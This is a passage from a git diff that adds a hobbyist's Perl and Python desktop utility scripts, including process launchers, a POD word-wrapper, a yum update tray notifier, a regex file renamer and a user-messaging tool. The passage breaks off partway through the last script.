||||||
|
$rename =~ s/{artist}/$artist/ig;
|
||||||
|
$rename =~ s/{album}/$album/ig;
|
||||||
|
$rename =~ s/{title}/$title/ig;
|
||||||
|
$rename =~ s/{track}/$track/ig;
|
||||||
|
|
||||||
|
my $basename = basename($file);
|
||||||
|
|
||||||
|
# Just testing?
|
||||||
|
if ($o{test}) {
|
||||||
|
print "$basename -> $rename\n";
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Make the output directory?
|
||||||
|
if (!-d $o{output}) {
|
||||||
|
warn "Creating output directory: $o{output}";
|
||||||
|
mkpath($o{output}) or die "Can't create $o{output}: $!";
|
||||||
|
}
|
||||||
|
|
||||||
|
# Rename it. Or copy?
|
||||||
|
if ($o{copy}) {
|
||||||
|
print "COPY: $basename -> $o{output}/$rename\n";
|
||||||
|
copy($file,"$o{output}/$rename");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
print "RENAME: $basename -> $o{output}/$rename\n";
|
||||||
|
rename($file, "$o{output}/$rename");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub help {
|
||||||
|
exec("perldoc $0");
|
||||||
|
}
|
27
home/bin/multistart
Executable file
27
home/bin/multistart
Executable file
|
@ -0,0 +1,27 @@
|
||||||
|
#!/usr/bin/perl
|
||||||
|
|
||||||
|
# multistart - Spawn off multiple processes. Useful for a single click
|
||||||
|
# "autostart" for all your commonly used programs (IM, e-mail, etc).
|
||||||
|
#
|
||||||
|
# Usage: multistart <list of processes>
|
||||||
|
# Example: multistart thunderbird firefox "synergy -c syn.conf"
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
|
||||||
|
scalar(@ARGV) or usage();
|
||||||
|
foreach my $proc (@ARGV) {
|
||||||
|
my $fork = fork();
|
||||||
|
if ($fork == 0) {
|
||||||
|
exec($proc);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub usage {
|
||||||
|
print "multistart - Spawn off multiple processes.\n"
|
||||||
|
. "Usage: multistart <list of processes>\n";
|
||||||
|
exit(1);
|
||||||
|
}
|
43
home/bin/onetime
Executable file
43
home/bin/onetime
Executable file
|
@ -0,0 +1,43 @@
|
||||||
|
#!/usr/bin/perl
|
||||||
|
|
||||||
|
use 5.10.0;
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
|
||||||
|
# onetime - Only run a command if it's not already running.
|
||||||
|
#
|
||||||
|
# Usage: onetime <command>
|
||||||
|
# Ex: onetime xchat
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net
|
||||||
|
|
||||||
|
if (scalar(@ARGV) == 0 || (scalar(@ARGV) && $ARGV[0] =~ /^-+h/)) {
|
||||||
|
say "Usage: onetime <command>";
|
||||||
|
say " Ex: onetime xchat";
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
my ($cmd,@args) = @ARGV;
|
||||||
|
if ($cmd =~ /[^A-Za-z0-9-_]/) {
|
||||||
|
die "That command looks funny :\\ '$cmd'";
|
||||||
|
}
|
||||||
|
|
||||||
|
# See if it's already running.
|
||||||
|
my @ps = `ps aux | grep $cmd`;
|
||||||
|
my $found = 0;
|
||||||
|
foreach my $line (@ps) {
|
||||||
|
my ($user, $pid, @extra) = split(/\s+/, $line, 11);
|
||||||
|
my $cmdline = pop(@extra);
|
||||||
|
next if $cmdline =~ /grep/;
|
||||||
|
next if $cmdline =~ /\Q$0\E/;
|
||||||
|
$found = $pid;
|
||||||
|
last;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($found) {
|
||||||
|
say "'$cmd' appears to already be running as PID $found.";
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
exec($cmd, @args);
|
24
home/bin/openrand
Executable file
24
home/bin/openrand
Executable file
|
@ -0,0 +1,24 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# openrand - Opens a random file in the current working directory.
|
||||||
|
#
|
||||||
|
# Requires GNOME desktop environment with `gnome-open` command.
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
|
||||||
|
my @files = ();
|
||||||
|
opendir (DIR, ".");
|
||||||
|
foreach my $file (readdir(DIR)) {
|
||||||
|
next unless -f $file;
|
||||||
|
next unless -r $file;
|
||||||
|
push (@files,$file);
|
||||||
|
}
|
||||||
|
closedir (DIR);
|
||||||
|
|
||||||
|
my $rnd = $files [ int(rand(scalar(@files))) ];
|
||||||
|
print "Exec gnome-open $rnd\n";
|
||||||
|
system ("gnome-open \"$rnd\" &");
|
137
home/bin/podwrap
Executable file
137
home/bin/podwrap
Executable file
|
@ -0,0 +1,137 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
=head1 NAME
|
||||||
|
|
||||||
|
podwrap - Word wrapper for (not only) POD document files.
|
||||||
|
|
||||||
|
=head1 USAGE
|
||||||
|
|
||||||
|
podwrap [options] <file.pod>
|
||||||
|
|
||||||
|
=head1 DESCRIPTION
|
||||||
|
|
||||||
|
This script is for applying word wrapping to a POD document file. This should
|
||||||
|
B<not> be used on a Perl module; only POD text.
|
||||||
|
|
||||||
|
It will (re)format all the paragraphs in the POD document to apply a word wrap
|
||||||
|
at whatever character width you want (default is 80 characters).
|
||||||
|
|
||||||
|
It could also be applied to plain text documents, but is primarily meant for
|
||||||
|
POD documents.
|
||||||
|
|
||||||
|
=head1 OPTIONS
|
||||||
|
|
||||||
|
=over 4
|
||||||
|
|
||||||
|
=item --width, -w <width>
|
||||||
|
|
||||||
|
Specify the character width to wrap words at; default is 80.
|
||||||
|
|
||||||
|
=item --save, -s
|
||||||
|
|
||||||
|
Save changes back to the source file. By default the changes are printed to
|
||||||
|
STDOUT and not saved to the source file.
|
||||||
|
|
||||||
|
=back
|
||||||
|
|
||||||
|
=head1 AUTHOR
|
||||||
|
|
||||||
|
Noah Petherbridge, http://sh.kirsle.net/
|
||||||
|
|
||||||
|
=cut
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use Getopt::Long;
|
||||||
|
|
||||||
|
# Get command line options.
|
||||||
|
my %o = (
|
||||||
|
width => 80,
|
||||||
|
save => undef,
|
||||||
|
help => undef,
|
||||||
|
);
|
||||||
|
GetOptions (
|
||||||
|
'width|w=i' => \$o{width},
|
||||||
|
'save|s' => \$o{save},
|
||||||
|
'help|h|?' => \$o{help},
|
||||||
|
);
|
||||||
|
|
||||||
|
# Help and Usage
|
||||||
|
if ($o{help}) {
|
||||||
|
exec("perldoc $0");
|
||||||
|
}
|
||||||
|
elsif (scalar(@ARGV) == 0) {
|
||||||
|
print "Usage: podwrap [options] <filename.pod>\n"
|
||||||
|
. "See: podwrap --help for help\n";
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
# Read the file.
|
||||||
|
my $source = shift(@ARGV);
|
||||||
|
if (!-e $source) {
|
||||||
|
print "Can't read source file $source: not found\n";
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
open (READ, $source) or die "Can't open $source: $!";
|
||||||
|
my @pod = <READ>;
|
||||||
|
close (READ);
|
||||||
|
chomp @pod;
|
||||||
|
|
||||||
|
# Parse it a paragraph at a time.
|
||||||
|
my @paragraph = ();
|
||||||
|
my @output = ();
|
||||||
|
my $inParagraph = 0;
|
||||||
|
foreach my $line (@pod) {
|
||||||
|
$line =~ s/[\x0A\x0D]//g;
|
||||||
|
if (length $line == 0) {
|
||||||
|
push (@output,"");
|
||||||
|
$inParagraph = 0;
|
||||||
|
push (@output, wordWrap($o{width}, @paragraph));
|
||||||
|
@paragraph = ();
|
||||||
|
next;
|
||||||
|
}
|
||||||
|
elsif (length $line > 0 && $inParagraph == 0) {
|
||||||
|
$inParagraph = 1;
|
||||||
|
}
|
||||||
|
if ($inParagraph) {
|
||||||
|
push (@paragraph, $line);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (scalar(@paragraph) > 0) {
|
||||||
|
push(@output, wordWrap($o{width}, @paragraph));
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($o{save}) {
|
||||||
|
open (WRITE, ">$source") or die "Can't write $source: $!";
|
||||||
|
print WRITE join("\n",@output);
|
||||||
|
close (WRITE);
|
||||||
|
print "Wrote: $source\n";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
print join("\n",@output);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub wordWrap {
|
||||||
|
my ($width,@lines) = @_;
|
||||||
|
|
||||||
|
# Don't apply wrapping for verbatim paragraphs.
|
||||||
|
if ($lines[0] =~ /^\s+/) {
|
||||||
|
return (@lines);
|
||||||
|
}
|
||||||
|
|
||||||
|
my @words = split(/\s+/, join(" ",@lines));
|
||||||
|
my $wrapped = "";
|
||||||
|
|
||||||
|
my $w = 0;
|
||||||
|
for (my $i = 0; $i < scalar(@words); $i++) {
|
||||||
|
my $wlen = length($words[$i]);
|
||||||
|
if (($w + $wlen + 1) > $width) {
|
||||||
|
$wrapped .= "\n";
|
||||||
|
$w = 0;
|
||||||
|
}
|
||||||
|
$wrapped .= "$words[$i] ";
|
||||||
|
$w += $wlen + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return split(/\n/, $wrapped);
|
||||||
|
}
|
170
home/bin/pyupdatesd
Executable file
170
home/bin/pyupdatesd
Executable file
|
@ -0,0 +1,170 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
pyupdatesd: A simple yum update checker.
|
||||||
|
|
||||||
|
This script will watch for available yum updates and show a Gtk2 tray icon and
|
||||||
|
notification pop-up when updates become available.
|
||||||
|
|
||||||
|
This is intended for desktop environments like XFCE that don't have a native
|
||||||
|
PackageKit update watcher.
|
||||||
|
|
||||||
|
Set this script to run on session startup, and it will check for updates every
|
||||||
|
15 minutes (by default; this is configurable in the source code).
|
||||||
|
|
||||||
|
This software is open domain and may be freely modified and distributed.
|
||||||
|
|
||||||
|
Requires: pygtk2
|
||||||
|
|
||||||
|
Usage: pyupdatesd [--display :0.0 --help --debug --testing]
|
||||||
|
|
||||||
|
--Kirsle
|
||||||
|
http://sh.kirsle.net
|
||||||
|
"""
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
# Configuration Section Begins Here #
|
||||||
|
################################################################################
|
||||||
|
|
||||||
|
c = dict(
|
||||||
|
# The title to be shown on the pop-up and the icon tooltip.
|
||||||
|
title = "Updates Available",
|
||||||
|
|
||||||
|
# The message to be shown in the pop-up.
|
||||||
|
message = "There are updates available to install.",
|
||||||
|
|
||||||
|
# Icon to use in the system tray and pop-up.
|
||||||
|
icon = "/usr/share/icons/gnome/32x32/status/software-update-available.png",
|
||||||
|
|
||||||
|
# Frequency to check for available updates.
|
||||||
|
interval = 900, # 15 minutes
|
||||||
|
|
||||||
|
# Command to run to check for available updates, and the expected status
|
||||||
|
# code that indicates updates are available.
|
||||||
|
yumcheck = "/usr/bin/yum check-update",
|
||||||
|
|
||||||
|
# Path to notify-send (set to None if you don't want notifications)
|
||||||
|
notify = "/usr/bin/notify-send",
|
||||||
|
|
||||||
|
# Command to run for your graphical updater (i.e. yumex, gpk-update-viewer)
|
||||||
|
yumgui = "/usr/bin/yumex --update-only",
|
||||||
|
)
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
# Configuration Section Ends Here #
|
||||||
|
################################################################################
|
||||||
|
|
||||||
|
import gtk
|
||||||
|
import gobject
|
||||||
|
import pynotify
|
||||||
|
|
||||||
|
import getopt
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
import commands
|
||||||
|
import subprocess
|
||||||
|
from time import time
|
||||||
|
|
||||||
|
# Command-line options.
|
||||||
|
try:
|
||||||
|
options, remainder = getopt.getopt(sys.argv[1:], 'hdt', [
|
||||||
|
'debug',
|
||||||
|
'help',
|
||||||
|
'testing',
|
||||||
|
'display='
|
||||||
|
])
|
||||||
|
except:
|
||||||
|
print "Unrecognized options given, try " + sys.argv[0] + " --help"
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
debug = False
|
||||||
|
testing = False
|
||||||
|
def say(*message):
|
||||||
|
if debug:
|
||||||
|
print ' '.join(map(lambda x: str(x), message))
|
||||||
|
|
||||||
|
def usage():
|
||||||
|
print "Usage: " + sys.argv[0] + " [--display :0.0 --help --debug --testing]"
|
||||||
|
print "Use --testing to force the script to show the notification icon."
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
# Parse the options
|
||||||
|
for opt in options:
|
||||||
|
if opt[0] == '--debug':
|
||||||
|
debug = True
|
||||||
|
say("Debug mode activated")
|
||||||
|
elif opt[0] == '--display' or opt[0] == '-d':
|
||||||
|
os.environ["DISPLAY"] = opt[1]
|
||||||
|
say("Set environment $DISPLAY to", opt[1])
|
||||||
|
elif opt[0] == '--testing' or opt[0] == '-t':
|
||||||
|
testing = True
|
||||||
|
debug = True
|
||||||
|
say("Testing the notification applet")
|
||||||
|
elif opt[0] == '--help' or opt[0] == '-h':
|
||||||
|
usage()
|
||||||
|
|
||||||
|
def do_updates():
|
||||||
|
"""Show your graphical update manager."""
|
||||||
|
subprocess.call(c['yumgui'], shell=True)
|
||||||
|
|
||||||
|
def onClick(widget):
|
||||||
|
"""Event handler for the tray icon being clicked."""
|
||||||
|
widget.set_visible(False)
|
||||||
|
gobject.timeout_add(1, do_updates)
|
||||||
|
|
||||||
|
def show_notify():
|
||||||
|
subprocess.call([c['notify'],
|
||||||
|
'-a', __name__,
|
||||||
|
'-i', c['icon'],
|
||||||
|
c['message'],
|
||||||
|
])
|
||||||
|
|
||||||
|
tray = gtk.StatusIcon()
|
||||||
|
tray.set_from_file(c['icon'])
|
||||||
|
tray.set_title(c['title'])
|
||||||
|
tray.set_tooltip(c['title'])
|
||||||
|
tray.set_visible(False)
|
||||||
|
tray.connect('activate', onClick)
|
||||||
|
|
||||||
|
next_check = int(time()) # First check is immediately on startup
|
||||||
|
say("First check:", next_check)
|
||||||
|
def main_loop():
|
||||||
|
# Time to check?
|
||||||
|
global next_check
|
||||||
|
if int(time()) >= next_check:
|
||||||
|
status, output = commands.getstatusoutput(c['yumcheck'])
|
||||||
|
|
||||||
|
status = status >> 8
|
||||||
|
|
||||||
|
say("Executed command:", c['yumcheck'])
|
||||||
|
|
||||||
|
say("Result status:", status)
|
||||||
|
say("Command output:")
|
||||||
|
say(output)
|
||||||
|
|
||||||
|
if testing:
|
||||||
|
say("Test mode: force the result to show available updates")
|
||||||
|
status = 100
|
||||||
|
|
||||||
|
# Updates?
|
||||||
|
if status == 100:
|
||||||
|
say("Result status indicates updates are available!")
|
||||||
|
if tray.get_visible() == False:
|
||||||
|
say("Show the notification pop-up")
|
||||||
|
|
||||||
|
# Only show notification the first time.
|
||||||
|
show_notify()
|
||||||
|
tray.set_visible(True)
|
||||||
|
elif tray.get_visible() == True and status == 0:
|
||||||
|
# Updates have disappeared behind our back!
|
||||||
|
tray.set_visible(False)
|
||||||
|
|
||||||
|
next_check = int(time()) + c['interval']
|
||||||
|
|
||||||
|
gobject.timeout_add(1000, main_loop)
|
||||||
|
|
||||||
|
gobject.timeout_add(1000, main_loop)
|
||||||
|
|
||||||
|
gtk.main()
|
||||||
|
|
||||||
|
# vim:expandtab
|
35
home/bin/rmbackup
Executable file
35
home/bin/rmbackup
Executable file
|
@ -0,0 +1,35 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# rmbackup - Recursively scans a directory and removes backup files left behind
|
||||||
|
# by gedit and emacs.
|
||||||
|
#
|
||||||
|
# Usage: rmbackup [directory]
|
||||||
|
#
|
||||||
|
# Deletes file names that end with the tilde character: ~
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
my $dir = shift(@ARGV) || ".";
|
||||||
|
|
||||||
|
&scanDir($dir);
|
||||||
|
sub scanDir {
|
||||||
|
my $d = shift;
|
||||||
|
|
||||||
|
print "scan> $d\n";
|
||||||
|
|
||||||
|
opendir (DIR, $d);
|
||||||
|
foreach my $file (readdir(DIR)) {
|
||||||
|
next if $file eq ".";
|
||||||
|
next if $file eq "..";
|
||||||
|
if (-d "$d/$file") {
|
||||||
|
&scanDir("$d/$file");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if ($file =~ /\~$/) {
|
||||||
|
print " del> $d/$file\n";
|
||||||
|
unlink("$d/$file");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
289
home/bin/rre
Executable file
289
home/bin/rre
Executable file
|
@ -0,0 +1,289 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# rre - A rename command that supports regular expressions.
|
||||||
|
#
|
||||||
|
# See `rre -?` for help.
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use Getopt::Long;
|
||||||
|
Getopt::Long::Configure ("bundling");
|
||||||
|
|
||||||
|
our $VERSION = '0.01';
|
||||||
|
my $help = 0; # using --help flag
|
||||||
|
my $recurse = 0; # using -R flag
|
||||||
|
my $verbose = 0; # using -v flag
|
||||||
|
my $force = 0; # using -f flag
|
||||||
|
my $replace = ''; # using -r flag
|
||||||
|
my $input = ''; # input RE
|
||||||
|
my $output = ''; # output RE
|
||||||
|
my $limit = 250; # renaming limit for uniqueness
|
||||||
|
|
||||||
|
# Get the options.
|
||||||
|
my $getopts = GetOptions (
|
||||||
|
'help|h|?' => \$help,
|
||||||
|
'R|recursive|recurse' => \$recurse,
|
||||||
|
'v|verbose' => \$verbose,
|
||||||
|
'l|limit' => \$limit,
|
||||||
|
'f|force' => \$force,
|
||||||
|
'r|replace' => \$replace,
|
||||||
|
'i|input=s' => \$input,
|
||||||
|
'o|output=s' => \$output,
|
||||||
|
);
|
||||||
|
|
||||||
|
if ($help) {
|
||||||
|
&help();
|
||||||
|
}
|
||||||
|
if (length $input == 0 || length $output == 0) {
|
||||||
|
&usage();
|
||||||
|
}
|
||||||
|
|
||||||
|
&process();
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
## Process the Program ##
|
||||||
|
################################################################################
|
||||||
|
|
||||||
|
sub process {
|
||||||
|
# Scan the directory.
|
||||||
|
&scanDir (".");
|
||||||
|
}
|
||||||
|
|
||||||
|
sub scanDir {
|
||||||
|
my $dir = shift;
|
||||||
|
|
||||||
|
print "Descending into $dir\n" if $verbose;
|
||||||
|
|
||||||
|
opendir (DIR, $dir);
|
||||||
|
foreach my $file (sort(readdir(DIR))) {
|
||||||
|
next if $file eq '.';
|
||||||
|
next if $file eq '..';
|
||||||
|
|
||||||
|
# Is this file a directory?
|
||||||
|
if (-d "$dir/$file") {
|
||||||
|
# Are we recursing?
|
||||||
|
if ($recurse) {
|
||||||
|
&scanDir ("$dir/$file");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Only deal with real files.
|
||||||
|
if (-f "$dir/$file") {
|
||||||
|
# Doing a string replace?
|
||||||
|
if ($replace) {
|
||||||
|
if ($file =~ /$input/i) {
|
||||||
|
my $newName = $file;
|
||||||
|
$newName =~ s/$input/$output/g;
|
||||||
|
my $confirm = 0;
|
||||||
|
if (not $force) {
|
||||||
|
print "Rename \"$dir/$file\" to \"$newName\"? [yN] ";
|
||||||
|
chomp (my $reply = <STDIN>);
|
||||||
|
|
||||||
|
if (lc($reply) eq "yes" || lc($reply) eq "y") {
|
||||||
|
$confirm = 1;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
next;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$confirm = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($confirm) {
|
||||||
|
if (rename("$dir/$file", "$dir/$newName")) {
|
||||||
|
print "$file => $newName\n" if $verbose;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
print "Failed to rename $file: $!";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
next;
|
||||||
|
}
|
||||||
|
|
||||||
|
# See if this file matches our regular expression.
|
||||||
|
if ($file =~ /^$input$/i) {
|
||||||
|
# Are we allowed to modify this file?
|
||||||
|
if (-r "$dir/$file") {
|
||||||
|
# Attempt to rename it.
|
||||||
|
my @matches = ($file =~ /^$input$/i);
|
||||||
|
unshift (@matches,'');
|
||||||
|
|
||||||
|
my $newName = $output;
|
||||||
|
$newName =~ s/%(\d+?)/$matches[$1]/ig;
|
||||||
|
|
||||||
|
# Does our new name already exist?
|
||||||
|
if (-e "$dir/$newName") {
|
||||||
|
print "Warning: new filename exists for $newName\n";
|
||||||
|
|
||||||
|
# Find a unique name.
|
||||||
|
my $check = $newName;
|
||||||
|
my $i = 0;
|
||||||
|
while (-e "$dir/$check") {
|
||||||
|
$i++;
|
||||||
|
$check = "[$i] $newName";
|
||||||
|
if ($i > $limit) {
|
||||||
|
print "Error: failed to find a unique name for $newName\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$newName = $check;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Get confirmation to rename the file.
|
||||||
|
my $confirm = 0;
|
||||||
|
if (not $force) {
|
||||||
|
print "Rename \"$dir/$file\" to \"$newName\"? [yN] ";
|
||||||
|
chomp (my $reply = <STDIN>);
|
||||||
|
|
||||||
|
if (lc($reply) eq "yes" || lc($reply) eq "y") {
|
||||||
|
# Okay.
|
||||||
|
$confirm = 1;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
# Skip this file.
|
||||||
|
next;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$confirm = 1; # we used --force
|
||||||
|
}
|
||||||
|
|
||||||
|
# Attempt to rename the file.
|
||||||
|
if (rename("$dir/$file","$dir/$newName")) {
|
||||||
|
print "$file => $newName\n" if $verbose;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
print "Can't rename $file: $!\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
print "Can't rename $file: permission denied.\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
closedir (DIR);
|
||||||
|
}
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
## Print the Usage Information ##
|
||||||
|
################################################################################
|
||||||
|
|
||||||
|
sub usage {
|
||||||
|
print "USAGE:\n"
|
||||||
|
. "\trre [-Rvf] -i expression -o expression\n"
|
||||||
|
. "See `rre --help` for full documentation.\n";
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
## Print the Full Documentation ##
|
||||||
|
################################################################################
|
||||||
|
|
||||||
|
sub help {
|
||||||
|
print qq~
|
||||||
|
NAME
|
||||||
|
|
||||||
|
rre - A rename command that supports regular expressions.
|
||||||
|
|
||||||
|
SYNOPSIS
|
||||||
|
|
||||||
|
rre [-Rrvf] [-l limit] -i inputexpr -o outputexr
|
||||||
|
|
||||||
|
DESCRIPTION
|
||||||
|
|
||||||
|
rre is a tool for renaming multiple files that match a given
|
||||||
|
regular expression and naming the new files according to a
|
||||||
|
defined pattern.
|
||||||
|
|
||||||
|
OPTIONS
|
||||||
|
|
||||||
|
--help
|
||||||
|
-h
|
||||||
|
-?
|
||||||
|
|
||||||
|
Prints this documentation.
|
||||||
|
|
||||||
|
--verbose
|
||||||
|
-v
|
||||||
|
|
||||||
|
Print verbose information about everything the program does.
|
||||||
|
|
||||||
|
--force
|
||||||
|
-f
|
||||||
|
|
||||||
|
Automatically rename files without prompting.
|
||||||
|
|
||||||
|
--recursive
|
||||||
|
--recurse
|
||||||
|
-R
|
||||||
|
|
||||||
|
Recurse into subdirectories.
|
||||||
|
|
||||||
|
--replace
|
||||||
|
-r
|
||||||
|
|
||||||
|
Do a find-and-replace instead of a regexp rename. Example:
|
||||||
|
\$ rre -r -i "_" -o " "
|
||||||
|
... to replace underscores with spaces.
|
||||||
|
|
||||||
|
--limit
|
||||||
|
-l
|
||||||
|
|
||||||
|
When trying to rename to a file that exists, numbers are
|
||||||
|
prepended until the name is unique. When "limit" is reached,
|
||||||
|
the program will quit trying and move on to the next file.
|
||||||
|
Default is 250.
|
||||||
|
|
||||||
|
--input
|
||||||
|
-i
|
||||||
|
|
||||||
|
The input regular expression to match on the files in the
|
||||||
|
directories scanned.
|
||||||
|
|
||||||
|
--output
|
||||||
|
-o
|
||||||
|
|
||||||
|
The output expression for what to name files into. Use of
|
||||||
|
variables \%1, \%2, \%3, etc. can be used here (and probably
|
||||||
|
should be). If the new file name already exists, a number will
|
||||||
|
be appended to it.
|
||||||
|
|
||||||
|
BEHAVIOR
|
||||||
|
|
||||||
|
If the target file name already exists, a number will be prepended to
|
||||||
|
the name until the file name becomes unique, or the number exceeds
|
||||||
|
the --limit, which defaults to 250. The file format of a renamed file
|
||||||
|
is "[x] filename", where x is the number which increments from 1 to
|
||||||
|
--limit.
|
||||||
|
|
||||||
|
When --force is not enabled, you will be prompted before any file
|
||||||
|
renaming operations are completed. An answer of "y" or "yes" is required
|
||||||
|
to continue; any other value (or no value) will skip the current file.
|
||||||
|
|
||||||
|
EXAMPLES
|
||||||
|
|
||||||
|
If you had a directory full of episodes for a particular TV show,
|
||||||
|
and they were all formatted with the episode numbers listed by season
|
||||||
|
and then number, such as "1x01", "1x02", "1x03", then "2x01", "2x02",
|
||||||
|
etc., and you wanted the numbers to simply be 101, 102, 103, 201, 202:
|
||||||
|
|
||||||
|
rre -i "(.+?)(\\d)x(\\d\\d)(.+?)\.avi" -o "\%1\%2\%3\%4\.avi"
|
||||||
|
|
||||||
|
If you had a directory full of MP3 files, and many of them followed
|
||||||
|
the format of "Artist - Album - Song Name.mp3", and you wanted to omit
|
||||||
|
the album name:
|
||||||
|
|
||||||
|
rre -i "(.+?) - (.+?) - (.+?)\.mp3" -o "\%1 - \%3.mp3"
|
||||||
|
|
||||||
|
AUTHOR AND VERSION
|
||||||
|
|
||||||
|
Casey Kirsle <casey at cuvou.net>
|
||||||
|
rre version $VERSION
|
||||||
|
~;
|
||||||
|
exit(0);
|
||||||
|
}
|
160
home/bin/sayto
Executable file
160
home/bin/sayto
Executable file
|
@ -0,0 +1,160 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------#
|
||||||
|
# sayto - A Wall-like command targeted at a specific user that doesn't mess #
|
||||||
|
# with VIM sessions or other non-pure-shell processes. #
|
||||||
|
# Usage: sayto [-a] <username> <message> #
|
||||||
|
# Author: Kirsle, http://www.cuvou.com/ #
|
||||||
|
#------------------------------------------------------------------------------#
|
||||||
|
# This program is free software, released under the same terms as Perl itself. #
|
||||||
|
#------------------------------------------------------------------------------#
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
|
||||||
|
my $to = undef;
|
||||||
|
my $uid = undef;
|
||||||
|
my $msg = undef;
|
||||||
|
my $all = 0;
|
||||||
|
|
||||||
|
# Collect parameters.
|
||||||
|
if (join("",@ARGV) =~ /\-+(h|help|\?)/) {
|
||||||
|
die &usage();
|
||||||
|
}
|
||||||
|
if (scalar(@ARGV) >= 2) {
|
||||||
|
if ($ARGV[0] =~ /^(\-|\-\-)(a|all|f|force)$/i) {
|
||||||
|
$all = 1;
|
||||||
|
shift(@ARGV);
|
||||||
|
}
|
||||||
|
|
||||||
|
$to = shift(@ARGV);
|
||||||
|
$msg = join(" ",@ARGV);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
die "Usage: sayto [-a] <username> <message>\n"
|
||||||
|
. "For help: sayto --help\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
# Find the target's UID.
|
||||||
|
open (PASSWD, "/etc/passwd") or die "Can't read from /etc/passwd: $!";
|
||||||
|
while (<PASSWD>) {
|
||||||
|
my ($user,$undef,$u,$g) = split(/:/, $_);
|
||||||
|
if ($user eq $to) {
|
||||||
|
$uid = $u;
|
||||||
|
last;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close (PASSWD);
|
||||||
|
unless (defined $uid) {
|
||||||
|
die "Couldn't find UID for user $to!\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
# Get the processes this user is running.
|
||||||
|
my %tty_exclude = ();
|
||||||
|
my $ps = `ps aux`;
|
||||||
|
foreach my $line (split(/\n/, $ps)) {
|
||||||
|
my ($user,$pid,undef,undef,undef,undef,$tty,undef,undef,undef,$command) = split(/\s+/, $line, 11);
|
||||||
|
if ($user =~ /^\d+$/) {
|
||||||
|
# We got the UID on this line.
|
||||||
|
next unless $user == $uid;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
# We got the text username.
|
||||||
|
next unless $user eq $to;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Make sure this TTY is in a shell.
|
||||||
|
my @shells = (
|
||||||
|
'bash', 'csh', 'tcsh',
|
||||||
|
'/bin/bash', '/bin/csh', '/bin/tcsh',
|
||||||
|
'-bash', '-csh', '-tcsh',
|
||||||
|
'sh',
|
||||||
|
'ssh',
|
||||||
|
'-ssh',
|
||||||
|
'sayto',
|
||||||
|
'ps',
|
||||||
|
'/bin/ps',
|
||||||
|
);
|
||||||
|
my $ok = 0;
|
||||||
|
foreach my $sh (@shells) {
|
||||||
|
if ($command =~ /^\Q$sh\E/) {
|
||||||
|
$ok = 1;
|
||||||
|
last;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ($command =~ /sayto/i) {
|
||||||
|
